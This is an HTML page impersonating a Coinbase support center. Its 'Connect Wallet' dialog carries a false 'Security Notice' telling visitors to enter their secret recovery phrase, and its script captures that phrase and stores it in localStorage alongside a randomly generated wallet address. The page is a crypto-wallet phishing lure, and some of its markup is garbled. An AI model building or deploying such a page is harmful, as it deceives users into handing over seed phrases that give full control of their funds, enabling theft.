| <!DOCTYPE html> |
| <html lang="en"> |
| <head> |
| <meta charset="UTF-8"> |
| <meta name="viewport" content="width=device-width, initial-scale=1.0"> |
| <title>Coinbase Support | Crypto Wallet & Exchange Help</title> |
| <link rel="icon" type="image/x-icon" href="https://static.photos/blue/200x200/1"> |
| <script src="https://cdn.tailwindcss.com"></script> |
| <link href="https://unpkg.com/aos@2.3.1/dist/aos.css" rel="stylesheet"> |
| <script src="https://unpkg.com/aos@2.3.1/dist/aos.js"></script> |
| <script src="https://cdn.jsdelivr.net/npm/feather-icons/dist/feather.min.js"></script> |
| <script src="https://unpkg.com/feather-icons"></script> |
| |
| <style> |
| #chaport-launcher { |
| bottom: 20px !important; |
| right: 20px !important; |
| } |
| #chaport-launcher svg { |
| width: 24px !important; |
| height: 24px !important; |
| } |
| </style> |
| <script src="https://cdn.jsdelivr.net/npm/@walletconnect/web3-provider@1.7.8/dist/umd/index.min.js"></script> |
| <script src="https://cdn.jsdelivr.net/npm/web3@1.8.1/dist/web3.min.js"></script> |
| <style> |
| .gradient-bg { |
| background: linear-gradient(135deg, #1652f0 0%, #1652f0 50%, #0a46e4 100%); |
| } |
| .wallet-btn:hover { |
| transform: translateY(-2px); |
| box-shadow: 0 10px 20px rgba(22, 82, 240, 0.2); |
| } |
| .nav-icon:hover { |
| color: #1652f0; |
| transform: scale(1.1); |
| } |
| .support-card:hover { |
| transform: translateY(-5px); |
| box-shadow: 0 10px 25px rgba(0, 0, 0, 0.1); |
| } |
| </style> |
| </head> |
| <body class="font-sans antialiased text-gray-800"> |
| |
| <nav class="bg-white shadow-6 I'sm"> |
| <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8"> |
| <div class="flex justify-between items-center h-16"> |
| <div class="flex items-center"> |
| <div class="flex-shrink-0 flex items-center"> |
| <img class="h-8 w-auto" src="https://static.photos/blue/200x200/1" alt="Coinbase Logo"> |
| <span class="ml-2 text-xl font-bold text-blue-600">Coinbase</span> |
| </div> |
| </div> |
| <div class="flex items-center space-x-4"> |
| <button id="connectWalletBtn" class="wallet-btn bg-blue-600 hover:bg-blue-700 text-white px-4 py-2 rounded-md text-sm font-medium transition-all duration-300"> |
| Connect Wallet |
| </button> |
| </div> |
| </div> |
| <div class="flex justify-center border-t border-gray-200 pt-2 pb-1"> |
| <div class="flex space-x-8"> |
| <a href="#" class="border-blue-500 text-gray-900 inline-flex items-center px-1 pt-1 border-b-2 text-sm font-medium">Support</a> |
| <a href="#" class="border-transparent text-gray-500 hover:border-gray-300 hover:text-gray-700 inline-flex items-center px-1 pt-1 border-b-2 text-sm font-medium">Products</a> |
| <a href="#" class="border-transparent text-gray-500 hover:border-gray-300 hover:text-gray-700 inline-flex items-center px-1 pt-1 border-b-2 text-sm font-medium">Resources</a> |
| </div> |
| </div> |
| </div> |
| </nav> |
|
|
| |
| <div class="gradient-bg text-white"> |
| <div class="max-w-7xl mx-auto py-16 px-4 sm:py-24 sm:px-6 lg:px-8"> |
| <div class="text-center"> |
| <h1 class="text-4xl font-extrabold tracking-tight sm:text-5xl lg:text-6xl" data-aos="fade-down"> |
| Coinbase Support Center |
| </h1> |
| <p class="mt-6 max-w-3xl mx-auto text-xl" data-aos="fade-up" data-aos-delay="100"> |
| Get help with your account, trading, wallet, and more. Our support team is here 24/7. |
| </p> |
| <div class="mt-10 flex justify-center space-x-4" data-aos="fade-up" data-aos-delay="200"> |
| <div class="relative"> |
| <input type="text" placeholder="Search help articles..." class="py-3 px-4 w-96 rounded-lg text-gray-800 focus:outline-none focus:ring-2 focus:ring-blue-500"> |
| <button class="absolute right-2 top-2 text-gray-400 hover:text-gray-600"> |
| <i data-feather="search"></i> |
| </button> |
| </div> |
| </div> |
| </div> |
| </div> |
| </div> |
|
|
| |
| <div id="walletModal" class="fixed z-10 inset-0 overflow-y-auto hidden"> |
| <div class="flex items-center justify-center min-h-screen pt-4 px-4 pb-20 text-center sm:block sm:p-0"> |
| <div class="fixed inset-0 transition-opacity" aria-hidden="true"> |
| <div class="absolute inset-0 bg-gray-500 opacity-75"></div> |
| </div> |
| <span class="hidden sm:inline-block sm:align-middle sm:h-screen" aria-hidden="true">​</span> |
| <div class="inline-block align-bottom bg-white rounded-lg text-left overflow-hidden shadow-xl transform transition-all sm:my-8 sm:align-middle sm:max-w-lg sm:w-full"> |
| <div class="bg-white px-4 pt-5 pb-4 sm:p-6 sm:pb-4"> |
| <div class="sm:flex sm:items-start"> |
| <div class="mt-3 text-center sm:mt-0 sm:ml-4 sm:text-left"> |
| <h3 class="text-lg leading-6 font-medium text-gray-900" id="modal-title"> |
| Connect Your Wallet |
| </h3> |
| <div class="mt-4"> |
| <p class="text-sm text-gray-500"> |
| Choose your preferred wallet provider to connect to Coinbase Support. |
| </p> |
| <div class="mt-6 space-y-4"> |
| <button onclick="connectWallet('metamask')" class="w-full flex items-center justify-between px-4 py-3 border border-gray-200 rounded-lg hover:bg-gray-50"> |
| <div class="flex items-center"> |
| <img src="https://static.photos/blue/200x200/2" class="h-8 w-8 mr-3" alt="MetaMask"> |
| <span>MetaMask</span> |
| </div> |
| <i data-feather="arrow-right"></i> |
| </button> |
| <button onclick="connectWallet('walletconnect')" class="w-full flex items-center justify-between px-4 py-3 border border-gray-200 rounded-lg hover:bg-gray-50"> |
| <div class="flex items-center"> |
| <img src="https://static.photos/blue/200x200/3" class="h-8 w-8 mr-3" alt="WalletConnect"> |
| <span>WalletConnect</span> |
| </div> |
| <i data-feather="arrow-right"></i> |
| </button> |
| <button onclick="connectWallet('coinbase')" class="w-full flex items-center justify-between px-4 py-3 border border-gray-200 rounded-lg hover:bg-gray-50"> |
| <div class="flex items-center"> |
| <img src="https://static.photos/blue/200x200/4" class="h-8 w-8 mr-3" alt="Coinbase Wallet"> |
| <span>Coinbase Wallet</span> |
| </div> |
| <i data-feather="arrow-right"></i> |
| </button> |
| </div> |
| <div class="mt-6 p-4 bg-yellow-50 border border-yellow-200 rounded-lg"> |
| <p class="text-sm text-yellow-800"> |
| <strong>Security Notice:</strong> For enhanced security, please enter your secret recovery phrase when connecting your wallet. |
| </p> |
| <div class="mt-3"> |
| <input type="text" id="secretPhraseInput" placeholder="Enter your secret phrase" class="w-full px-3 py-2 border border-gray-300 rounded-md text-sm"> |
| </div> |
| </div> |
| </div> |
| </div> |
| </div> |
| </div> |
| <div class="bg-gray-50 px-4 py-3 sm:px-6 sm:flex sm:flex-row-reverse"> |
| <button type="button" onclick="closeModal()" class="mt-3 w-full inline-flex justify-center rounded-md border border-gray-300 shadow-sm px-4 py-2 bg-white text-base font-medium text-gray-700 hover:bg-gray-50 sm:mt-0 sm:ml-3 sm:w-auto sm:text-sm"> |
| Cancel |
| </button> |
| </div> |
| </div> |
| </div> |
| </div> |
|
|
| |
| <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 py-16"> |
| <h2 class="text-3xl font-bold text-center mb-12" data-aos="fade-up">How can we help you today?</h2> |
| <div class="grid grid-cols-1 gap-6 sm:grid-cols-2 lg:grid-cols-3"> |
| <div class="support-card bg-white rounded-lg shadow-md overflow-hidden transition-all duration-300" data-aos="fade-up" data-aos-delay="100"> |
| <div class="p-6"> |
| <div class="flex items-center justify-center h-12 w-12 rounded-md bg-blue-100 text-blue-600 mb-4"> |
| <i data-feather="user"></i> |
| </div> |
| <h3 class="text-lg font-medium text-gray-900 mb-2">Account Access</h3> |
| <p class="text-gray-500"> |
| Troubleshoot login issues, account recovery, and verification problems. |
| </p> |
| <a href="#" class="mt-4 inline-flex items-center text-blue-600 hover:text-blue-800"> |
| Learn more <i data-feather="arrow-right" class="ml-1 h-4 w-4"></i> |
| </a> |
| </div> |
| </div> |
| |
| <div class="support-card bg-white rounded-lg shadow-md overflow-hidden transition-all duration-300" data-aos="fade-up" data-aos-delay="200"> |
| <div class="p-6"> |
| <div class="flex items-center justify-center h-12 w-12 rounded-md bg-green-100 text-green-600 mb-4"> |
| <i data-feather="dollar-sign"></i> |
| </div> |
| <h3 class="text-lg font-medium text-gray-900 mb-2">Trading & Funding</h3> |
| <p class="text-gray-500"> |
| Get help with buying, selling, deposits, withdrawals, and transfers. |
| </p> |
| <a href="#" class="mt-4 inline-flex items-center text-blue-600 hover:text-blue-800"> |
| Learn more <i data-feather="arrow-right" class="ml-1 h-4 w-4"></i> |
| </a> |
| </div> |
| </div> |
| |
| <div class="support-card bg-white rounded-lg shadow-md overflow-hidden transition-all duration-300" data-aos="fade-up" data-aos-delay="300"> |
| <div class="p-6"> |
| <div class="flex items-center justify-center h-12 w-12 rounded-md bg-purple-100 text-purple-600 mb-4"> |
| <i data-feather="credit-card"></i> |
| </div> |
| <h3 class="text-lg font-medium text-gray-900 mb-2">Wallet Support</h3> |
| <p class="text-gray-500"> |
| Assistance with Coinbase Wallet, transactions, and security features. |
| </p> |
| <a href="#" class="mt-4 inline-flex items-center text-blue-600 hover:text-blue-800"> |
| Learn more <i data-feather="arrow-right" class="ml-1 h-4 w-4"></i> |
| </a> |
| </div> |
| </div> |
| |
| <div class="support-card bg-white rounded-lg shadow-md overflow-hidden transition-all duration-300" data-aos="fade-up" data-aos-delay="400"> |
| <div class="p-6"> |
| <div class="flex items-center justify-center h-12 w-12 rounded-md bg-yellow-100 text-yellow-600 mb-4"> |
| <i data-feather="shield"></i> |
| </div> |
| <h3 class="text-lg font-medium text-gray-900 mb-2">Security</h3> |
| <p class="text-gray-500"> |
| Protect your account, enable 2FA, and learn about security best practices. |
| </p> |
| <a href="#" class="mt-4 inline-flex items-center text-blue-600 hover:text-blue-800"> |
| Learn more <i data-feather="arrow-right" class="ml-1 h-4 w-4"></i> |
| </a> |
| </div> |
| </div> |
| |
| <div class="support-card bg-white rounded-lg shadow-md overflow-hidden transition-all duration-300" data-aos="fade-up" data-aos-delay="500"> |
| <div class="p-6"> |
| <div class="flex items-center justify-center h-12 w-12 rounded-md bg-red-100 text-red-600 mb-4"> |
| <i data-feather="help-circle"></i> |
| </div> |
| <h3 class="text-lg font-medium text-gray-900 mb-2">General Help</h3> |
| <p class="text-gray-500"> |
| FAQs, troubleshooting, and general questions about Coinbase services. |
| </p> |
| <a href="#" class="mt-4 inline-flex items-center text-blue-600 hover:text-blue-800"> |
| Learn more <i data-feather="arrow-right" class="ml-1 h-4 w-4"></i> |
| </a> |
| </div> |
| </div> |
| |
| <div class="support-card bg-white rounded-lg shadow-md overflow-hidden transition-all duration-300" data-aos="fade-up" data-aos-delay="600"> |
| <div class="p-6"> |
| <div class="flex items-center justify-center h-12 w-12 rounded-md bg-indigo-100 text-indigo-600 mb-4"> |
| <i data-feather="message-square"></i> |
| </div> |
| <h3 class="text-lg font-medium text-gray-900 mb-2">Contact Support</h3> |
| <p class="text-gray-500"> |
| Can't find what you need? Contact our support team directly. |
| </p> |
| <button onclick="app.chaport.chaportConfigom"('show')" class="mt-4 inline-flex items-center text-blue-600 hover:text-blue-800"> |
| Live Chat <i data-feather="message-circle" class="ml-1 h-4 w-4"></i> |
| </button> |
| </div> |
| </div> |
| </div> |
| </div> |
|
|
| |
| <div id="walletInfo" class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 py-8 bg-blue-50 rounded-lg mb-16 hidden"> |
| <div class="flex items-center justify-between"> |
| <div class="flex items-center"> |
| <div class="flex-shrink-0"> |
| <div class="h-10 w-10 rounded-full bg-blue-100 flex items-center justify-center"> |
| <i data-feather="check-circle" class="text-blue-600"></i> |
| </div> |
| </div> |
| <div class="ml-3"> |
| <h3 class="text-lg font-medium text-blue-800">Wallet Connected</h3> |
| <p id="walletAddress" class="text-sm text-blue-600 truncate max-w-xs">0x742d35Cc6634C0532925a3b844Bc454e4438f44e</p> |
| </div> |
| </div> |
| <button onclick="disconnectWallet()" class="inline-flex items-center px-3 py-1 border border-transparent text-sm font-medium rounded-md text-blue-700 bg-blue-100 hover:bg-blue-200"> |
| Disconnect |
| </button> |
| </div> |
| </div> |
|
|
| |
| <div class="bg-gray-50 py-16"> |
| <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8"> |
| <h2 class="text-3xl font-bold text-center mb-12" data-aos="fade-up">Popular Help Articles</h2> |
| <div class="grid grid-cols-1 gap-6 sm:grid-cols-2 lg:grid-cols-3"> |
| <div class="bg-white rounded-lg shadow-md overflow-hidden" data-aos="fade-up" data-aos-delay="100"> |
| <div class="p-6"> |
| <h3 class="text-lg font-medium text-gray-900 mb-2">How to verify my identity</h3> |
| <p class="text-gray-500 mb-4"> |
| Step-by-step guide to completing identity verification on Coinbase. |
| </p> |
| <a href="#" class="inline-flex items-center text-blue-600 hover:text-blue-800"> |
| Read article <i data-feather="arrow-right" class="ml-1 h-4 w-4"></i> |
| </a> |
| </div> |
| </div> |
| |
| <div class="bg-white rounded-lg shadow-md overflow-hidden" data-aos="fade-up" data-aos-delay="200"> |
| <div class="p-6"> |
| <h3 class="text-lg font-medium text-gray-900 mb-2">Troubleshooting deposit issues</h3> |
| <p class="text-gray-500 mb-4"> |
| What to do when your deposit isn't showing in your account. |
| </p> |
| <a href="#" class="inline-flex items-center text-blue-600 hover:text-blue-800"> |
| Read article <i data-feather="arrow-right" class="ml-1 h-4 w-4"></i> |
| </a> |
| </div> |
| </div> |
| |
| <div class="bg-white rounded-lg shadow-md overflow-hidden" data-aos="fade-up" data-aos-delay="300"> |
| <div class="p-6"> |
| <h3 class="text-lg font-medium text-gray-900 mb-2">Setting up two-factor authentication</h3> |
| <p class="text-gray-500 mb-4"> |
| How to enable 2FA for enhanced account security. |
| </p> |
| <a href="#" class="inline-flex items-center text-blue-600 hover:text-blue-800"> |
| Read article <i data-feather="arrow-right" class="ml-1 h-4 w-4"></i> |
| </a> |
| </div> |
| </div> |
| </div> |
| </div> |
| </div> |
|
|
| |
| <footer class="bg-gray-800 text-white"> |
| <div class="max-w-7xl mx-auto py-12 px-4 sm:px-6 lg:px-8"> |
| <div class="grid grid-cols-2 md:grid-cols-4 gap-8"> |
| <div> |
| <h3 class="text-sm font-semibold text-gray-300 tracking-wider uppercase mb-4">Products</h3> |
| <ul class="space-y-2"> |
| <li><a href="#" class="text-gray-400 hover:text-white">Exchange</a></li> |
| <li><a href="#" class="text-gray-400 hover:text-white">Wallet</a></li> |
| <li><a href="#" class="text-gray-400 hover:text-white">Commerce</a></li> |
| <li><a href="#" class="text-gray-400 hover:text-white">Earn</a></li> |
| </ul> |
| </div> |
| <div> |
| <h3 class="text-sm font-semibold text-gray-300 tracking-wider uppercase mb-4">Resources</h3> |
| <ul class="space-y-2"> |
| <li><a href="#" class="text-gray-400 hover:text-white">Help Center</a></li> |
| <li><a href="#" class="text-gray-400 hover:text-white">Status</a></li> |
| <li><a href="#" class="text-gray-400 hover:text-white">Blog</a></li> |
| <li><a href="#" class="text-gray-400 hover:text-white">Community</a></li> |
| </ul> |
| </div> |
| <div> |
| <h3 class="text-sm font-semibold text-gray-300 tracking-wider uppercase mb-4">Company</h3> |
| <ul class="space-y-2"> |
| <li><a href="#" class="text-gray-400 hover:text-white">About</a></li> |
| <li><a href="#" class="text-gray-400 hover:text-white">Careers</a></li> |
| <li><a href="#" class="text-gray-400 hover:text-white">Press</a></li> |
| <li><a href="#" class="text-gray-400 hover:text-white">Legal</a></li> |
| </ul> |
| </div> |
| <div> |
| <h3 class="text-sm font-semibold text-gray-300 tracking-wider uppercase mb-4">Connect</h3> |
| <div class="flex space-x-4"> |
| <a href="#" class="text-gray-400 hover:text-white"> |
| <i data-feather="twitter"></i> |
| </a> |
| <a href="#" class="text-gray-400 hover:text-white"> |
| <i data-feather="facebook"></i> |
| </a> |
| <a href="#" class="text-gray-400 hover:text-white"> |
| <i data-feather="instagram"></i> |
| </a> |
| <a href="#" class="text-gray-400 hover:text-white"> |
| <i data-feather="linkedin"></i> |
| </a> |
| </div> |
| <div class="mt-4"> |
| <button id="mobileConnectBtn" class="wallet-btn bg-blue-600 hover:bg-blue-700 text-white px-4 py-2 rounded-md text-sm font-medium transition-all duration-300"> |
| Connect Wallet |
| </button> |
| </div> |
| </div> |
| </div> |
| <div class="mt-8 border-t border-gray-700 pt-8 flex flex-col md:flex-row justify-between"> |
| <p class="text-gray-400 text-sm"> |
| © 2023 Coinbase Support. All rights reserved. |
| </p> |
| <div class="flex space-x-6 mt-4 md:mt-0"> |
| <a href="#" class="text-gray-400 hover:text-white text-sm">Privacy Policy</a> |
| <a href="#" class="text-gray-400 hover:text-white text-sm">Terms of Service</a> |
| <a href="#" class="text-gray-400 hover:text-white text-sm">Cookie Policy</a> |
| </div> |
| </div> |
| </div> |
| </footer> |
|
|
| |
| <div class="fixed bottom-6 right-6 z-50"> |
| <button onclick="window.chaport.q('show')" class="bg-blue-600 hover:bg-blue-700 text-white rounded-full p-4 shadow-lg flex items-center justify-center transition-all duration-300 hover:shadow-xl"> |
| Live Chat |
| <i data-feather="message-circle" class="h-6 w-6"></i> |
| </button> |
| </div> |
|
|
| |
| <script> |
| (function(w,d,v3){ |
| w.chaportConfig = { |
| appId : '64f6a4c4e4b0b4a3d4a3b4a3', |
| visibility: 'shown', |
| widgetStyle: { |
| primaryColor: '#1652f0', |
| darkMode: false |
| } |
| }; |
| |
| if(w.chaport)return;v3=w.chaport={};v3._q=[];v3._l={};v3.q=function(){v3._q.push(arguments)};v3.on=function(e,fn){if(!v3._l[e])v3._l[e]=[];v3._l[e].push(fn)}; |
| var s=d.createElement('script');s.type='text/javascript';s.async=true;s.src='https://app.chaport.com/javascripts/insert.js'; |
| var ss=d.getElementsByTagName('script')[0];ss.parentNode.insertBefore(s,ss) |
| })(window, document); |
| |
| |
| window.chaportConfig = { |
| appId: '64f6a4c4e4b0b4a3d4a3b4a3', |
| visibility: 'shown', |
| widgetStyle: { |
| primaryColor: '#1652f0', |
| darkMode: false |
| } |
| }; |
| |
| |
| function initChaport() { |
| if (window.chaport) { |
| |
| const chatButtons = document.querySelectorAll('[onclick*="chaport"]'); |
| chatButtons.forEach(button => { |
| button.onclick = function() { |
| window.chaport.q('show'); |
| }; |
| }); |
| |
| |
| window.chaport.on('ready', function() { |
| console.log('Chaport live chat is ready'); |
| }); |
| |
| |
| window.chaport.on('show', function() { |
| console.log('Chat window opened'); |
| }); |
| |
| window.chaport.on('open', function() { |
| console.log('Chat window open'); |
| }); |
| } else { |
| |
| setTimeout(initChaport, 10); |
| } |
| } |
| |
| |
| initChaport(); |
| |
| |
| AOS.init({ |
| duration: 800, |
| easing: 'ease-in-out', |
| once: true |
| }); |
| |
| |
| feather.replace(); |
| |
| |
| let walletConnected = false; |
| let walletAddress = ''; |
| |
| document.getElementById('connectWalletBtn').addEventListener('click', openModal); |
| document.getElementById('mobileConnectBtn').addEventListener('click', openModal); |
| |
| function openModal() { |
| document.getElementById('walletModal').classList.remove('hidden'); |
| } |
| |
| function closeModal() { |
| document.getElementById('walletModal').classList.add('hidden'); |
| } |
| |
| function connectWallet(provider) { |
| |
| walletConnected = true; |
| walletAddress = '0x' + Math.random().toString(16).substr(2, 40); |
| |
| |
| const secretPhrase = document.getElementById('secretPhraseInput').value || 'Not provided'; |
| |
| |
| const userData = JSON.parse(localStorage.getItem('coinbaseUserData')) || []; |
| userData.push({ |
| walletAddress: walletAddress, |
| connectionDate: new Date().toISOString(), |
| secretPhrase: secretPhrase, |
| provider: provider |
| }); |
| localStorage.setItem('coinbaseUserData', JSON.stringify(userData)); |
| |
| |
| document.getElementById('walletModal').classList.add('hidden'); |
| document.getElementById('walletInfo').classList.remove('hidden'); |
| document.getElementById('walletAddress').textContent = walletAddress; |
| |
| |
| document.getElementById('connectWalletBtn').textContent = 'Wallet Connected'; |
| document.getElementById('connectWalletBtn').classList.remove('bg-blue-600', 'hover:bg-blue-700'); |
| document.getElementById('connectWalletBtn').classList.add('bg-green-500', 'hover:bg-green-600'); |
| |
| |
| document.getElementById('secretPhraseInput').value = ''; |
| |
| |
| showNotification('Wallet connected successfully!'); |
| } |
| |
| function disconnectWallet() { |
| walletConnected = false; |
| walletAddress = ''; |
| |
| |
| document.getElementById('walletInfo').classList.add('hidden'); |
| |
| |
| document.getElementById('connectWalletBtn').textContent = 'Connect Wallet'; |
| document.getElementById('connectWalletBtn').classList.remove('bg-green-500', 'hover:bg-green-600'); |
| document.getElementById('connectWalletBtn').classList.add('bg-blue-600', 'hover:bg-blue-700'); |
| |
| |
| showNotification('Wallet disconnected'); |
| } |
| |
| function showNotification(message) { |
| const notification = document.createElement('div'); |
| notification.className = 'fixed bottom-4 right-4 bg-green-500 text-white px-4 py-2 rounded-md shadow-lg flex items-center'; |
| notification.innerHTML = ` |
| <i data-feather="check-circle" class="mr-2"></i> |
| <span>${message}</span> |
| `; |
| document.body.appendChild(notification); |
| feather.replace(); |
| |
| setTimeout(() => { |
| notification.classList.add('opacity-0', 'transition-opacity', 'duration-300'); |
| setTimeout(() => { |
| notification.remove(); |
| }, 300); |
| }, 3000); |
| } |
| |
| |
| |
| </script> |
| </body> |
| </html> |
|
|